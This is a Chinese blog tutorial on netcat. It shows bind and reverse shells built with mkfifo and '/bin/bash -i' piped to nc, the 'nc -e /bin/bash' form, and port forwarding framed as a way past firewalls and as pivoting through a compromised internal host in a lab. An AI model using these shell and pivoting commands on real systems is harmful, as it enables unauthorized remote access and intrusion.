应用netcat实现端口转发

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/freestyle4568/article/details/54693306

前言

很久没有写博客了,以至于csdn推出了这么好用的makedown编辑器都不知道,这样的写博客的感觉真是酸爽啊!自从找到工作以后,人也赖了很多,瞬间长了10斤的肉。。。说到工作,回想起来找工作的旅程还是很幸运的。为什么说幸运呢,因为没有像教研室那帮孩子一样四处奔跑,准备笔试,准备面试,而是早早的(大概8月份下旬)就把自己给卖了。你问老东家是谁,我还是可以很自豪的说是阿里巴巴:>对于大牛来说BAT可能算不了什么,但是作为一个非科班出身的程序员来说能进BAT还是挺满意的。希望今后能在阿里把自己的水平提升到一个新的高度!

netcat介绍

netcat是一款知名的网络工具,简称nc,有渗透测试中的“瑞士军刀”之称。它可以做端口扫描,tcp/udp连接,远程传输文件,甚至远程传输流媒体,而且还可以实现远程shell等。总之功能之强大真的让人咋舌,套用网上的一句话可以概况一下,“你的想象力是局限nc的瓶颈”,说起来也很好理解,tcp连接都给你建立好了,你想干嘛还不随你嘛!

获取shell

获取shell分成2种,一种是正向shell,一种是反向shell。这个和ssh实现正向代理与反向代理意思差不多。我的理解是:连接的方向与获取哪个shell。如果客户端连接服务器,想获取服务器的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想获取客户端的shell,那么称为反向shell。

正向shell

如果nc带有-e选项可以直接使用
nc serverIP PORT -e /bin/bash
进行提供远程shell,这里我主要讲在没有-e选项的时候,如果用nc实现shell功能。

freestyle4568@freestyle4568 ~ $ mkfifo /tmp/fifo
freestyle4568@freestyle4568 ~ $ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 8000 > /tmp/fifo

然后在客户端用

msfadmin@metasploitable:~$ nc 192.168.1.102 8000

然后就能连接成功,并且返回server端的shell。
结果如下:
客户端获得服务端shell
原理详解:
1. 创建fifo文件,管道文件用于将nc输出文件与bash的输入文件。
2. cat /tmp/fifo是从fifo读取数据,将数据通过管道传给bash。
3. | /bin/bash -i 2>&1这里需要注意2>&1的意义,这是将2标准错误描述符重定向到1标准输出文件描述符指向的地方,为什么是&1,而不是1呢,这是为了转义1的意思表示文件描述符而不是文件名为1。
4. 将bash执行结果输入到nc输入中,从而可以传至客户端。
5. 在客户端输入的命令数据通过服务端的nc输出重定向到fifo中,在服务端形成一个循环。

反向shell

又称为反弹shell,服务端要获取客户端的shell,客户端在连接上的时候将提供自己的shell功能给服务端。
在服务端输入:
nc -l 8001
在客户端输入:

cat /tmp/fifo | /bin/bash -i 2>&1 | nc 192.168.1.102 8001 > /tmp/fifo

显示结果如下所示:
反弹shell

netcat实现端口转发功能

网上介绍netcat的用法的文章实在太多了,这里我就不重复介绍了,一搜一大堆!这里介绍一种用netcat实现端口转发的方法,我在网上搜了半天,并没有找到相应的实现,多是反弹shell的实现。其实nc做端口转发的思路和shell功能的实现很相似,只需要稍加改造即可。
为什么要端口转发呢?因为防火墙,或者外网访问内网的原因。比如防火墙不允许访问本机的3389端口怎么办,或者外网要想访问一台内网机器怎么办。这时端口转发可以很好的解决这些问题。
1. 对于防火墙禁止访问某些端口的问题,比如3389端口,我们可以将利用机器的3000端口做端口转发,从外界接受数据,转发给本机的3389端口,从而绕过防火墙。
2. 对于无法访问内网特定机器的问题,我们可以先抓取内网一台机器,然后利用这台弱鸡进行端口转发,接受外网的数据,将数据转发到内网目标机器的特定端口。

实现

下面来看看如何用nc实现简单的端口转发。
- 背景:192.168.1.103的msfadmin用户需要访问192.168.1.102的8000端口,但是该端口被防火墙保护着,不允许外界机器访问。目前msfadmin用户只能访问192.168.1.102的9000端口。需要9000端口做转发。
- 目标:msfadmin通过访问192.168.1.102的9000端口,达到与8000端口通话的目的。
1. 在192.168.1.102上开启8000端口。
nc -l 8000
2. 在192.168.1.102上实现9000端口转发。
freestyle4568@freestyle4568 ~ $ cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
3. 在192.168.1.103上连接192.168.1.102的9000端口。
nc -n 192.168.1.102 9000
结果如下图:
端口转发
可以看到msfadmin成功的与freestyle4568的8000端口进行了通话,但是实际上连接的是它的9000端口。

猜你喜欢

转载自blog.csdn.net/freestyle4568/article/details/54693306
今日推荐